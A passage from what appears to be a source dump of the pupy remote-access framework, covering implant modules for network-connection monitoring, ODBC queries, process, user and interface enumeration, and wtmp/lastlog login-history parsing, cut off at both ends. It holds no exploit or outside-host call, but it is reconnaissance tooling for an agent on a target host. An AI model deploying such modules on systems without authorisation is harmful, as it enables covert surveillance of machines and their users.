connection.raddr:\n                continue\n\n            program = ''\n\n            if connection.pid:\n                try:\n                    process = Process(connection.pid)\n                    program = process.exe()\n                except Error:\n                    program = 'pid={}'.format(connection.pid)\n\n            listeners = None\n\n            if connection.type == SOCK_DGRAM:\n                listeners = listeners_udp\n            elif connection.type == SOCK_STREAM and connection.status == 'LISTEN':\n                listeners = listeners_tcp\n            else:\n                continue\n\n            listeners.add((program, connection.laddr.ip, connection.laddr.port))\n\n        new_listeners_tcp = listeners_tcp - self.known_listeners_tcp\n        new_listeners_udp = listeners_udp - self.known_listeners_udp\n\n        for new_listener_udp in new_listeners_udp:\n            if new_listener_udp not in self.pending_udp_listeners:\n                self.pending_udp_listeners[new_listener_udp] = 1\n            else:\n                self.pending_udp_listeners[new_listener_udp] += 1\n\n        for old_listener_udp in list(self.pending_udp_listeners):\n            if old_listener_udp not in new_listener_udp:\n                del self.pending_udp_listeners[old_listener_udp]\n\n        new_listeners_udp = set(\n            new_listener_udp for new_listener_udp, cnt in\n            self.pending_udp_listeners.items() if\n            cnt > 16\n        )\n\n        for new_listener_udp in new_listeners_udp:\n            del self.pending_udp_listeners[new_listener_udp]\n\n        self.known_listeners_tcp.update(listeners_tcp)\n        self.known_listeners_udp.update(new_listeners_udp)\n\n        known_listeners_udp = set(\n            (ip, port) for _, ip, port in self.known_listeners_udp\n        )\n\n        known_listeners_tcp = set(\n            (ip, port) for _, ip, port in self.known_listeners_tcp\n        )\n\n        # Now update ingress/egress connections\n        for connection in connections:\n            if not connection.raddr:\n                continue\n\n            program = ''\n\n            if connection.pid:\n                try:\n                    process = Process(connection.pid)\n                    program = process.exe()\n                except Error:\n                    program = 'pid={}'.format(connection.pid)\n\n            remote_ip = connection.raddr.ip\n            remote_tuple = connection.raddr.ip, connection.raddr.port\n            local = connection.laddr.ip, connection.laddr.port\n\n            connlist = None\n            connitem = None\n\n            if connection.type == SOCK_DGRAM:\n                if any(\n                    candidate in known_listeners_udp for candidate in (\n                        local, ('::', local[1]), ('0.0.0.0', local[1]),\n                        ('127.0.0.1', local[1]), '::ffff:127.0.0.1', local[1])):\n                    connlist = ingress_udp\n                    connitem = program, local, remote_ip\n                else:\n                    connlist = egress_udp\n                    connitem = program, remote_tuple\n\n            elif connection.type == SOCK_STREAM:\n                if any(\n                    candidate in known_listeners_tcp for candidate in (\n                        local, ('::', local[1]), ('0.0.0.0', local[1]),\n                        ('127.0.0.1', local[1]), '::ffff:127.0.0.1', local[1])):\n                    connlist = ingress_tcp\n                    connitem = program, local, remote_ip\n                else:\n                    connlist = egress_tcp\n                    connitem = program, remote_tuple\n\n            else:\n                continue\n\n            connlist.add(connitem)\n\n        new_ingress_udp = ingress_udp - self.known_ingress_udp\n        new_ingress_tcp = ingress_tcp - self.known_ingress_tcp\n\n        new_egress_udp = egress_udp - self.known_egress_udp\n        new_egress_tcp = egress_tcp - self.known_egress_tcp\n\n        self.known_ingress_udp.update(ingress_udp)\n        self.known_ingress_tcp.update(ingress_tcp)\n\n        self.known_egress_udp.update(egress_udp)\n        self.known_egress_tcp.update(egress_tcp)\n\n        new_objects = tuple(\n            tuple(x) for x in (\n                new_listeners_tcp, new_listeners_udp,\n                new_ingress_tcp, new_ingress_udp,\n                new_egress_tcp, new_egress_udp)\n        )\n\n        if not any(x for x in new_objects):\n            return\n\n        self.append(new_objects)\n\n    def task(self):\n        while self.active:\n            connections = net_connections(kind='inet')\n            self._update(connections)\n            sleep(INTERVAL)\n\n\ndef netmon_start(event_id=None):\n    if pupy.agent.manager.active(NetMon):\n        return False\n\n    pupy.agent.manager.create(NetMon, event_id=event_id)\n    return True\n\n\ndef netmon_dump():\n    netmon = pupy.agent.manager.get(NetMon)\n\n    if netmon:\n        return netmon.results\n\n\ndef netmon_stop():\n    netmon = pupy.agent.manager.get(NetMon)\n    if netmon:\n        pupy.agent.manager.stop(NetMon)\n\n        # Return summary table\n\n        return [\n            tuple(\n                tuple(x) for x in (\n                    netmon.known_listeners_tcp, netmon.known_listeners_udp,\n                    netmon.known_ingress_tcp, netmon.known_ingress_udp,\n                    netmon.known_egress_tcp, netmon.known_egress_udp\n                )\n            )\n        ]\n"
  },
  {
    "path": "pupy/packages/all/odbc.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport sys\n\nfrom inspect import isfunction\nfrom threading import Thread, Event\n\nuse_system_odbc = True\n\nif sys.platform != 'win32':\n    import os\n    import tempfile\n\n    odbcinstini = tempfile.NamedTemporaryFile()\n    os.environ['ODBCSYSINI'] = ''\n    os.environ['ODBCINSTINI'] = odbcinstini.name\n\n    registered = set()\n\n    def register_driver(name, description, library):\n        if name in registered:\n            return False\n\n        odbcinstini.write('\\n'.join([\n            '[{}]'.format(name),\n            'Description={}'.format(description or 'None'),\n            'Driver={}'.format(library),\n            ''\n        ]))\n        odbcinstini.flush()\n        registered.add(name)\n        return True\n\nelse:\n    def register_driver(name, library):\n        raise NotImplementedError()\n\nif sys.version_info.major > 2:\n    basestring = str\n    long = int\n\n\nCONNECTIONS = {}\n\nEND = 0\nHEADER = 1\nDATA = 2\nLOG = 3\nERROR = 4\n\n\ndef _get(alias):\n    if alias is None and len(CONNECTIONS) > 0:\n        alias = next(iter(CONNECTIONS))\n        return alias, CONNECTIONS[alias]\n\n    ctx = CONNECTIONS.get(alias, None)\n    if not ctx:\n        raise ValueError(\n            'Alias {} is not registered, use \"bind\" first'.format(alias))\n\n    return alias, ctx\n\n\ndef as_cursor(cleanup=True):\n    def _as_cursor_wrap_gen(func, cleanup):\n        def _wrapper(alias, *args, **kwargs):\n            from pyodbc import connect, OperationalError, SQL_WCHAR\n\n            try:\n                key, (connstr, encoding, ctx) = _get(alias)\n                cursor = ctx.cursor()\n                try:\n                    return func(cursor, *args, **kwargs)\n                except Exception:\n                    if cleanup:\n                        cursor.cancel()\n                    raise\n                finally:\n                    if cleanup:\n                        cursor.close()\n            except OperationalError as e:\n                if e.args[0] in ('08S01', '08003'):\n                    try:\n                        new_ctx = connect(connstr)\n\n                        if encoding is True:\n                            new_ctx.setdecoding(SQL_WCHAR, encoding='utf-8')\n                        elif encoding:\n                            new_ctx.setdecoding(SQL_WCHAR, encoding=encoding)\n\n                        CONNECTIONS[key] = connstr, encoding, new_ctx\n                        ctx.close()\n                        cursor = new_ctx.cursor()\n                        try:\n                            return func(cursor, *args, **kwargs)\n                        except Exception:\n                            if cleanup:\n                                cursor.close()\n                            raise\n                        finally:\n                            if cleanup:\n                                cursor.close()\n                    except OperationalError:\n                        pass\n\n                _, _, ctx = CONNECTIONS[key]\n                ctx.close()\n\n                del CONNECTIONS[key]\n                raise\n\n        return _wrapper\n\n    if isfunction(cleanup):\n        return _as_cursor_wrap_gen(cleanup, True)\n\n    def _wrap(func):\n        return _as_cursor_wrap_gen(func, cleanup)\n\n    return _wrap\n\n\ndef bind(alias, connstring, encoding=False):\n    if alias in CONNECTIONS:\n        raise ValueError('Alias already registered')\n\n    import pyodbc\n\n    ctx = pyodbc.connect(connstring)\n    if encoding is True:\n        ctx.setdecoding(pyodbc.SQL_WCHAR, encoding='utf-8')\n    elif encoding:\n        ctx.setdecoding(pyodbc.SQL_WCHAR, encoding=encoding)\n\n    CONNECTIONS[alias] = connstring, encoding, ctx\n    return alias\n\n\ndef unbind(alias):\n    alias, (_, _, ctx) = _get(alias)\n    try:\n        ctx.close()\n    finally:\n        del CONNECTIONS[alias]\n    return alias\n\n\ndef _convval(value):\n    if isinstance(value, (int, long, basestring)):\n        return value\n\n    return str(value)\n\n\ndef _sql_throw(cursor, on_data, completion, limit, portion):\n    description = []\n    buffer = []\n\n    completed = False\n    offset = 0\n\n    on_data(LOG, 'Fetch started')\n\n    for row_info in cursor.description:\n        description.append(\n            (row_info[0], row_info[1].__name__)\n        )\n\n    on_data(HEADER, tuple(description))\n\n    while not completion.is_set() and (offset < limit):\n        row = cursor.fetchone()\n\n        if not row:\n            if buffer:\n                on_data(DATA, tuple(buffer))\n                del buffer[:]\n\n            completed = True\n            cursor.close()\n            on_data(END, None)\n            break\n\n        else:\n            offset += 1\n            buffer.append(\n                tuple(\n                    _convval(column) for column in row\n                )\n            )\n\n        if len(buffer) >= portion:\n            on_data(DATA, tuple(buffer))\n            del buffer[:]\n\n    if buffer:\n        on_data(DATA, tuple(buffer))\n\n    if not completed:\n        try:\n            cursor.cancel()\n            on_data(LOG, 'Fetch cancelled')\n        finally:\n            try:\n                cursor.close()\n                on_data(LOG, 'Fetch completed')\n            finally:\n                on_data(END, None)\n\n\n\ndef _sql(cursor, on_data, completion, limit, portion=4096):\n    try:\n        _sql_throw(cursor, on_data, completion, limit, portion)\n    except Exception as e:\n        import traceback\n        on_data(ERROR, '{}: {}'.format(e, traceback.format_exc()))\n    finally:\n        cursor.cancel()\n\n\n@as_cursor\ndef tables(cursor):\n    catalogs = {}\n\n    for table in cursor.tables():\n        catalog = table[0]\n        cur = None\n\n        if catalog not in catalogs:\n            catalogs[catalog] = []\n\n        cur = catalogs[catalog]\n        cur.append((\n            '.'.join(\n                part for part in [\n                    table[1], table[2]\n                ] if part),\n            table[3]\n        ))\n\n    return catalogs\n\n\n@as_cursor\ndef describe(cursor, table):\n    cursor.execute('SELECT * FROM {} WHERE 1=0'.format(table))\n\n    return tuple(\n        (info[0], info[1].__name__) for info in cursor.description\n    )\n\n\n@as_cursor(cleanup=False)\ndef many(cursor, query, limit, on_data):\n\n    query = query.strip()\n    cursor = cursor.execute(query)\n    completion = Event()\n\n    worker = Thread(\n        target=_sql,\n        args=(\n            cursor, on_data, completion, limit\n        ),\n        name='SQL: ' + query\n    )\n    worker.daemon = True\n    worker.start()\n\n    def _completion():\n        completion.set()\n        cursor.cancel()\n\n    return _completion\n\n\n@as_cursor\ndef one(cursor, query):\n    query = query.strip()\n    return cursor.execute(query).fetchval()\n\n\ndef bounded():\n    return tuple(\n        (alias, connstring) for alias, (\n            connstring, _, _) in CONNECTIONS.items()\n    )\n\n\ndef drivers():\n    try:\n        import pyodbc\n    except ImportError:\n        return []\n\n    return pyodbc.drivers()\n\n\ndef need_impl():\n    try:\n        __import__('pyodbc')\n        return False\n    except (ImportError, OSError):\n        return True\n"
  },
  {
    "path": "pupy/packages/all/png.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport struct\n\nfrom io import BytesIO\nfrom zlib import compress, crc32\n\nif sys.version_info.major > 2:\n    xrange = range\n\nPNG_FILTER = struct.pack('>B', 0)\nMAGIC = struct.pack('>8B', 137, 80, 78, 71, 13, 10, 26, 10)\n\n\ndef bmp_to_png(data, width, height, compression=9, reverse=False):\n    # From MSS\n    line = width * 3\n\n    iterator = xrange(height)\n    if reverse:\n        iterator = reversed(iterator)\n\n    scanlines = BytesIO()\n\n    for i,y in enumerate(iterator):\n        scanlines.write(PNG_FILTER)\n        scanlines.write(data[y * line:y * line + line])\n\n    scanlines = scanlines.getvalue()\n\n    # Header: size, marker, data, CRC32\n    ihdr = [b'', b'IHDR', b'', b'']\n    ihdr[2] = struct.pack('>2I5B', width, height, 8, 2, 0, 0, 0)\n    ihdr[3] = struct.pack('>I', crc32(b''.join(ihdr[1:3])) & 0xffffffff)\n    ihdr[0] = struct.pack('>I', len(ihdr[2]))\n\n    # Data: size, marker, data, CRC32\n    idat = [b'', b'IDAT', compress(scanlines, compression), b'']\n    idat[3] = struct.pack('>I', crc32(b''.join(idat[1:3])) & 0xffffffff)\n    idat[0] = struct.pack('>I', len(idat[2]))\n\n    del scanlines\n\n    # Footer: size, marker, None, CRC32\n    iend = [b'', b'IEND', b'', b'']\n    iend[3] = struct.pack('>I', crc32(iend[1]) & 0xffffffff)\n    iend[0] = struct.pack('>I', len(iend[2]))\n\n    output = BytesIO()\n    output.write(MAGIC)\n    for x in ihdr:\n        output.write(x)\n    del ihdr[:]\n\n    for x in idat:\n        output.write(x)\n    del idat[:]\n\n    for x in iend:\n        output.write(x)\n    del iend[:]\n\n    return output.getvalue()\n"
  },
  {
    "path": "pupy/packages/all/pupyps.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport psutil\n\nimport sys\nimport os\nimport socket\nimport struct\nimport netaddr\nimport time\n\nfrom io import open\n\nfrom pupy.network.lib.convcompat import (\n    as_unicode_string, as_unicode_string_deep\n)\n\nif sys.version_info[0]==3:\n    long = int\n\nfamilies = {\n    int(v): k[3:] for k, v in socket.__dict__.items()\n    if k.startswith('AF_')\n}\n\ntry:\n    families.update({\n        int(psutil.AF_LINK): 'LINK'\n    })\nexcept:\n    pass\n\nfamilies.update(\n    {-1: 'LINK'}\n)\n\nsocktypes = {\n    int(v): k[5:] for k, v in socket.__dict__.items()\n    if k.startswith('SOCK_')\n}\n\nSELF = psutil.Process()\n\nif sys.version_info.major > 2:\n    basestring = str\n\n    def iteritems(value):\n        return value.items()\n\n    def psutil_str(value):\n        return value\n\nelse:\n    def iteritems(value):\n        return value.iteritems()\n\n    def psutil_str(value):\n        return as_unicode_string_deep(\n            value, encoding=psutil._common.ENCODING\n        )\n\n\ntry:\n    USERNAME = psutil_str(SELF.username())\nexcept:\n    try:\n        import getpass\n        USERNAME = getpass.getuser()\n    except:\n        USERNAME = None\n\nKNOWN_DOMAINS = (\n    psutil_str('NT AUTHORITY\\\\'),\n    psutil_str(socket.gethostname() + '\\\\')\n)\n\n\n# Try to figure out not supported fields\ndef make_known_fields():\n    this = psutil.Process()\n    candidates = (\n        'cmdline', 'connections', 'cpu_percent', 'cpu_times',\n        'create_time', 'cwd', 'environ', 'exe', 'io_counters',\n        'memory_info', 'memory_maps', 'memory_percent', 'name',\n        'nice', 'num_handles', 'num_threads', 'open_files',\n        'pid', 'ppid', 'status', 'threads', 'username', 'terminal',\n        'uids', 'gids', 'num_fds', 'ionice'\n    )\n\n    supported = []\n    unsupported = []\n\n    for field in candidates:\n        if field not in psutil._as_dict_attrnames:\n            continue\n\n        try:\n            this.as_dict([field])\n            supported.append(field)\n        except NotImplementedError:\n            unsupported.append(field)\n\n    return tuple(supported), tuple(unsupported)\n\n\nKNOWN_FIELDS, UNSUPPORTED_FIELDS = make_known_fields()\n\n\nif os.name == 'nt':\n    try:\n        from pupwinutils import security\n\n        if hasattr(security, 'StationNameByPid'):\n            def terminal(self):\n                return security.StationNameByPid(self.pid)\n\n            setattr(psutil.Process, 'terminal', terminal)\n            psutil._as_dict_attrnames.add('terminal')\n\n    except ImportError:\n        pass\n\n\ndef set_relations(infos):\n    if SELF.pid == infos.get('pid'):\n        infos['self'] = True\n\n    username = infos.get('username')\n    if not username:\n        return\n\n    if USERNAME and USERNAME == username:\n        infos['same_user'] = True\n\n    if username.startswith(KNOWN_DOMAINS):\n        _, username = username.split('\\\\', 1)\n        infos['username'] = username\n\n\ndef _psutil_simplify(obj):\n    if hasattr(obj, 'value'):\n        return obj.value\n    else:\n        return obj\n\n\ndef _psiter(obj):\n    if hasattr(obj, '_fields'):\n        for field in obj._fields:\n            yield as_unicode_string(field) if isinstance(\n                field, bytes\n            ) else field, _psutil_simplify(getattr(obj, field))\n\n    elif hasattr(obj, '__dict__'):\n        for k, v in iteritems(obj.__dict__):\n            yield as_unicode_string(k) if isinstance(\n                k, bytes\n            ) else k, _psutil_simplify(v)\n\n    elif isinstance(obj, dict):\n        for k, v in iteritems(obj):\n            yield as_unicode_string(k) if isinstance(\n                k, bytes\n            ) else k, _psutil_simplify(v)\n\n    else:\n        for v in obj:\n            yield _psutil_simplify(v)\n\n\ndef _is_iterable(obj):\n    return hasattr(obj, '_fields') or hasattr(obj, '__dict__')\n\n\ndef safe_as_dict(p, data):\n    removed = set()\n\n    data = tuple(\n        field for field in data if field not in UNSUPPORTED_FIELDS\n    )\n\n    for unsafe in (None, 'cmdline', 'exe'):\n        if unsafe is not None and unsafe in data:\n            data = list(data)\n            data.remove(unsafe)\n            removed.add(unsafe)\n\n        try:\n            result = p.as_dict(data)\n            for item in removed:\n                result[item] = None\n            return result\n\n        except WindowsError:\n            pass\n\n\ndef psinfo(pids):\n    data = {}\n\n    for pid in pids:\n        try:\n            process = psutil.Process(pid)\n        except:\n            continue\n\n        info = {}\n        for key, val in safe_as_dict(process, KNOWN_FIELDS).items():\n            newv = None\n            if type(val) == list:\n                newv = []\n                for item in val:\n                    if _is_iterable(item):\n                        newv.append({\n                            k: v for k, v in _psiter(item)\n                        })\n                    else:\n                        newv.append(item)\n\n                if all(isinstance(x, basestring) for x in newv):\n                    newv = ' '.join(newv)\n            elif _is_iterable(val):\n                newv = [{\n                    'KEY': k,\n                    'VALUE': v\n                } for k, v in _psiter(val)]\n            else:\n                newv = val\n\n            info.update({\n                key: newv\n            })\n\n        data[pid] = info\n\n    return psutil_str(data)\n\n\ndef pstree():\n    data = {}\n    tree = {}\n\n    for p in psutil.process_iter():\n        if not psutil.pid_exists(p.pid):\n            continue\n\n        props = safe_as_dict(p, [\n            'name', 'username', 'cmdline', 'exe', 'status',\n            'cpu_percent', 'memory_percent', 'connections',\n            'terminal', 'pid'\n        ])\n\n        props = psutil_str(props)\n\n        set_relations(props)\n\n        if 'connections' in props:\n            props['connections'] = bool(props['connections'])\n\n        parent = None\n\n        try:\n            parent = p.parent()\n\n        except (psutil.ZombieProcess):\n            props['name'] = '< Z: ' + props['name'] + ' >'\n\n        except (psutil.NoSuchProcess, psutil.AccessDenied):\n            props['name'] = '< ?: ' + props['name'] + ' >'\n\n        data[p.pid] = props\n\n        ppid = parent.pid if parent else 0\n        if ppid not in tree:\n            tree[ppid] = [p.pid]\n        else:\n            tree[ppid].append(p.pid)\n\n    # on systems supporting PID 0, PID 0's parent is usually 0\n    if 0 in tree and 0 in tree[0]:\n        tree[0].remove(0)\n\n    return min(tree), tree, data\n\n\ndef users():\n    info = {}\n    terminals = {}\n\n    if hasattr(SELF, 'terminal'):\n        for p in psutil.process_iter():\n            pinfo = safe_as_dict(p, [\n                'terminal', 'pid', 'exe', 'name', 'cmdline'\n            ])\n\n            pinfo = psutil_str(pinfo)\n\n            if pinfo.get('terminal'):\n                terminals[\n                    pinfo['terminal'].replace('/dev/', '')\n                 ] = pinfo\n\n    users = psutil.users()\n    users = psutil_str(users)\n\n    for term in users:\n        terminfo = {\n            psutil_str(k): v\n            for k, v in _psiter(term) if v and k not in ('host', 'name')\n        }\n\n        if 'pid' in terminfo:\n            try:\n                pinfo = {\n                    k: v for k, v in safe_as_dict(psutil.Process(\n                        terminfo['pid']), [\n                            'exe', 'cmdline', 'name'\n                        ]).items()\n                }\n\n                pinfo = psutil_str(pinfo)\n\n                terminfo.update(pinfo)\n            except (psutil.NoSuchProcess, psutil.AccessDenied):\n                terminfo.update({\n                    'pid': terminfo['pid'],\n                    'dead': True,\n                })\n\n        if 'terminal' in terminfo:\n            try:\n                terminfo['idle'] = int(time.time()) - int(os.stat(\n                    '/dev/{}'.format(terminfo['terminal'])\n                ).st_atime)\n            except:\n                pass\n\n            if terminfo['terminal'] in terminals:\n                terminfo.update(terminals[terminfo['terminal']])\n\n        host = term.host or '-'\n\n        if term.name not in info:\n            info[term.name] = {}\n\n        if host not in info[term.name]:\n            info[term.name][host] = []\n\n        if term.name == USERNAME or USERNAME.endswith('\\\\'+term.name):\n            terminfo['me'] = True\n\n        info[term.name][host].append(terminfo)\n\n    return info\n\n\ndef connections():\n    connections = []\n\n    net_connections = psutil.net_connections()\n    net_connections = psutil_str(net_connections)\n\n    for connection in net_connections:\n        obj = {\n            as_unicode_string(k): tuple(v) if hasattr(v, '_fields') else v\n            for k, v in _psiter(connection)\n        }\n\n        try:\n            if connection.pid:\n                obj.update(\n                    psutil.Process(connection.pid).as_dict({\n                        'pid', 'exe', 'name', 'username'\n                    })\n                )\n                set_relations(obj)\n        except:\n            pass\n\n        connections.append(obj)\n\n    return connections\n\n\ndef _tryint(x):\n    try:\n        return int(x)\n    except:\n        return psutil_str(str(x))\n\n\ndef interfaces():\n    try:\n        if_addrs = psutil.net_if_addrs()\n\n        addrs = {\n            x: [\n                {\n                    k: _tryint(v) for k, v in _psiter(z)\n                } for z in y\n            ] for x, y in _psiter(if_addrs)\n        }\n    except Exception:\n        addrs = None\n\n    try:\n        if_stats = psutil.net_if_stats()\n\n        stats = {\n            x: {\n                k: _tryint(v) for k, v in _psiter(y)\n            } for x, y in _psiter(if_stats)\n        }\n    except Exception:\n        stats = None\n\n    return psutil_str({\n        'addrs': addrs,\n        'stats': stats\n    })\n\n\ndef drives():\n    partitions = []\n\n    disk_partitions = psutil.disk_partitions()\n    disk_partitions = psutil_str(disk_partitions)\n\n    for partition in disk_partitions:\n        record = {\n            'device': partition.device,\n            'mountpoint': partition.mountpoint,\n            'fstype': partition.fstype,\n            'opts': partition.opts\n        }\n\n        try:\n            usage = psutil.disk_usage(partition.mountpoint)\n\n            record.update({\n                'total': usage.total,\n                'used': usage.used,\n                'free': usage.free,\n                'percent': usage.percent\n            })\n        except:\n            pass\n\n        partitions.append(record)\n\n    return partitions\n\n\ndef cstring(string):\n    return string[:string.find('\\x00')]\n\n\ndef convrecord(item):\n    return item if type(item) in (int, long) else cstring(item)\n\n\ndef wtmp(input='/var/log/wtmp'):\n    retval = []\n    WTmp = struct.Struct('hi32s4s32s256shhiii4I20s')\n\n    login_type = {\n        0: None,\n        1: 'runlevel',\n        2: 'boot',\n        3: 'time_new',\n        4: 'time_old',\n        5: 'init',\n        6: 'session',\n        7: 'process',\n        8: 'terminated',\n        9: 'accounting',\n    }\n\n    now = time.time()\n\n    with open('/var/log/wtmp', 'rb') as wtmp:\n        while True:\n            data = wtmp.read(WTmp.size)\n            if not data or len(data) != WTmp.size:\n                break\n\n            items = [\n                convrecord(x) for x in WTmp.unpack(data)\n            ]\n\n            itype = login_type[items[0]]\n            if not itype:\n                continue\n\n            if itype in ('runlevel', 'terminated'):\n                for record in retval:\n                    if record['end'] == -1:\n                        if itype == 'runlevel' and items[4] == 'shutdown':\n                            record['end'] = items[9]\n                            record['duration'] = record['end'] - record['start']\n                        elif itype == 'terminated':\n                            if items[1] == 0:\n                                if record['line'] == items[2]:\n                                    record['end'] = items[9]\n                                    record['duration'] = record['end'] - record['start']\n                                    break\n                            else:\n                                if record['type'] in ('session', 'process') and record['pid'] == items[1]:\n                                    record['end'] = items[9]\n                                    record['duration'] = record['end'] - record['start']\n                                    record['termination'] = items[6]\n                                    record['exit'] = items[7]\n                                    break\n\n                    if record['type'] == 'runlevel' and record['user'] == 'shutdown':\n                        break\n\n            ipbin = items[11:15]\n            if all([x==0 for x in ipbin[1:]]):\n                ipaddr = str(netaddr.IPAddress(socket.htonl(ipbin[0])))\n            else:\n                data = struct.pack('IIII', *ipbin).encode('hex')\n                ipaddr = ''\n                while data != '':\n                    ipaddr = ipaddr + ':'\n                    ipaddr = ipaddr + data[:4]\n                    data = data[4:]\n                ipaddr = str(netaddr.IPAddress(ipaddr[1:]))\n\n            retval.insert(0, {\n                'type': itype,\n                'pid': items[1],\n                'line': items[2],\n                'id': items[3],\n                'user': items[4],\n                'host': items[5],\n                'termination': items[6],\n                'exit': items[7],\n                'session': items[8],\n                'start': items[9],\n                'ip': ipaddr,\n                'end': -1,\n                'duration': now - items[9]\n            })\n\n    return psutil_str({\n        'now': now,\n        'records': retval\n    })\n\n\ndef lastlog(log='/var/log/lastlog'):\n    import pwd\n\n    result = {}\n    LastLog = struct.Struct('I32s256s')\n\n    with open(log, 'rb') as lastlog:\n        uid = 0\n        while True:\n            data = lastlog.read(LastLog.size)\n            if not data or len(data) != LastLog.size:\n                break\n\n            time, line, host = LastLog.unpack(data)\n            line = cstring(line)\n            host = cstring(host)\n            if time:\n                try:\n                    name = pwd.getpwuid(uid).pw_name\n                except:\n                    name = uid\n\n                result[name] = {\n                    'time': time,\n                    'line': line,\n                    'host': host,\n                }\n            uid += 1\n\n    return psutil_str(result)\n\n\ndef get_win_services():\n    return [\n        psutil_str(service.as_dict()) for service in psutil.win_service_iter()\n    ]\n\n\nif __name__ == '__main__':\n    import datetime\n    for result in wtmp():\n        if result['type'] in ('process', 'boot'):\n            print('{:12s} {:5d} {:7} {:8s} {:8s} {:16s} {:3} {:3} {} - {}'.format(\n                result['type'],\n                result['pid'],\n                result['id'],\n                result['user'], result['line'], result['host'],\n                result['termination'], result['exit'],\n                datetime.datetime.fromtimestamp(result['start']),\n                datetime.datetime.fromtimestamp(result['end']) if result['end'] != -1 else 'logged in',\n            ))\n"
  },
  {
    "path": "pupy/packages/all/pupyutils/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/packages/all/pupyutils/basic_cmds.py",
    "content": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\nimport sys\nimport glob\nimport shutil\nimport getpass\nimport stat\nimport datetime\nimport re\nimport codecs\nimport errno\n\nfrom zipfile import ZipFile, is_zipfile\nfrom tarfile import is_tarfile\nfrom tarfile import open as open_tarfile\n\nfrom gzip import GzipFile\n\nfrom scandir import scandir\n\nif scandir is None:\n    from scandir import scandir_generic as scandir\n\nfrom pupy.network.lib.convcompat import (\n    as_native_string, as_unicode_string,\n    fix_exception_encoding, try_as_unicode_string,\n    DEFAULT_MB_ENCODING\n)\n\n\nif sys.version_info.major > 2:\n    xrange = range\n    getcwd = os.getcwd\n\nelse:\n    getcwd = os.getcwdu\n\n\nPREV_CWD = None\n\n# -------------------------- For ls functions --------------------------\n\nT_NAME      = 0\nT_TYPE      = 1\nT_SPEC      = 2\nT_MODE      = 3\nT_UID       = 4\nT_GID       = 5\nT_SIZE      = 6\nT_TIMESTAMP = 7\nT_PATH      = 8\nT_FILES     = 9\nT_FILE      = 10\nT_TRUNCATED = 11\nT_ZIPFILE   = 12\nT_TARFILE   = 13\nT_HAS_XATTR = 14\n\n\nfrom fsutils import (\n    readlink, lstat, has_xattrs, uidgid\n)\n\n\ndef file_timestamp(entry):\n    try:\n        d = datetime.fromtimestamp(entry.stat().st_mtime)\n        return str(d.strftime(\"%d/%m/%y\"))\n    except:\n        return '00/00/00'\n\n\nclass FakeStat(object):\n    st_mode = 0b100000\n    st_uid = -1\n    st_gid = -1\n    st_size = -1\n    st_mtime = 0\n\n\ndef safe_stat(path):\n    path = as_unicode_string(path)\n    try:\n        return lstat(path)\n    except:\n        pass\n\n    try:\n        return os.stat(path)\n    except:\n        pass\n\n    return FakeStat()\n\n\ndef safe_listdir(path):\n    path = as_unicode_string(path)\n    try:\n        return os.listdir(path)\n    except:\n        return []\n\n\ndef mode_to_letter(mode):\n    if stat.S_ISDIR(mode):\n        return 'D'\n    elif stat.S_ISLNK(mode):\n        return 'L'\n    elif stat.S_ISBLK(mode):\n        return 'B'\n    elif stat.S_ISCHR(mode):\n        return 'C'\n    elif stat.S_ISFIFO(mode):\n        return 'F'\n    elif stat.S_ISSOCK(mode):\n        return 'S'\n    else:\n        return ''\n\n\ndef special_to_letter(mode):\n    letter = ''\n\n    ALL_R = (stat.S_IRUSR | stat.S_IRGRP | stat.S_IROTH)\n    ALL_W = (stat.S_IWUSR | stat.S_IWGRP | stat.S_IWOTH)\n\n    if mode & stat.S_ISGID:\n        letter += 'G'\n    if mode & stat.S_ISUID:\n        letter += 'U'\n    if mode & stat.S_ISVTX:\n        letter += 'T'\n    if mode & (stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH):\n        letter += 'E'\n    if (mode & ALL_R) == ALL_R:\n        letter += 'R'\n    if (mode & ALL_W) == ALL_W:\n        letter += 'W'\n\n    return letter\n\n\ndef _stat_to_ls_struct(path, name, _stat, resolve_uidgid=False):\n    if stat.S_ISLNK(_stat.st_mode):\n        try:\n            name += ' -> '+readlink(path)\n        except:\n            pass\n\n    try:\n        f_xattrs = has_xattrs(path)\n    except (OSError, IOError):\n        f_xattrs = False\n\n    if resolve_uidgid:\n        uid, gid = uidgid(path, _stat)\n    else:\n        uid, gid = _stat.st_uid, _stat.st_gid\n\n    return {\n        T_NAME: name,\n        T_TYPE: mode_to_letter(_stat.st_mode),\n        T_SPEC: special_to_letter(_stat.st_mode),\n        T_MODE: _stat.st_mode,\n        T_UID:  uid,\n        T_GID:  gid,\n        T_SIZE: _stat.st_size,\n        T_TIMESTAMP: int(_stat.st_mtime),\n        T_HAS_XATTR: bool(f_xattrs)\n    }\n\n\ndef _invalid_ls_struct(path, name):\n    return {\n        T_NAME: name,\n        T_TYPE: '?',\n        T_SPEC: '?',\n        T_MODE: 0,\n        T_UID:  0,\n        T_GID:  0,\n        T_SIZE: 0,\n        T_TIMESTAMP: 0,\n        T_HAS_XATTR: False,\n    }\n\n\ndef list_file(path, resolve_uidgid=False):\n    path = as_unicode_string(path)\n\n    if path.endswith(os.path.sep):\n        name = os.path.dirname(\n            os.path.basename(path)\n        )\n    else:\n        name = os.path.basename(path)\n\n    _stat = safe_stat(path)\n    return _stat_to_ls_struct(path, name, _stat, resolve_uidgid)\n\n\ndef list_tar(path, max_files=None):\n    result = []\n    for idx, item in enumerate(open_tarfile(path, 'r:*')):\n        if idx >= max_files:\n            result.append({\n                T_TRUNCATED: 0,\n                T_TYPE: 'X',\n            })\n\n            break\n\n        name = item.name\n\n        letter = ''\n        if item.islnk():\n            name = name + ' => ' + item.linkname\n            letter = 'L'\n        elif item.issym():\n            name = name + ' -> ' + item.linkname\n            letter = 'L'\n        elif item.isdir():\n            letter = 'D'\n        elif item.isfifo():\n            letter = 'F'\n        elif item.isblk():\n            letter = 'B'\n        elif item.ischr():\n            letter = 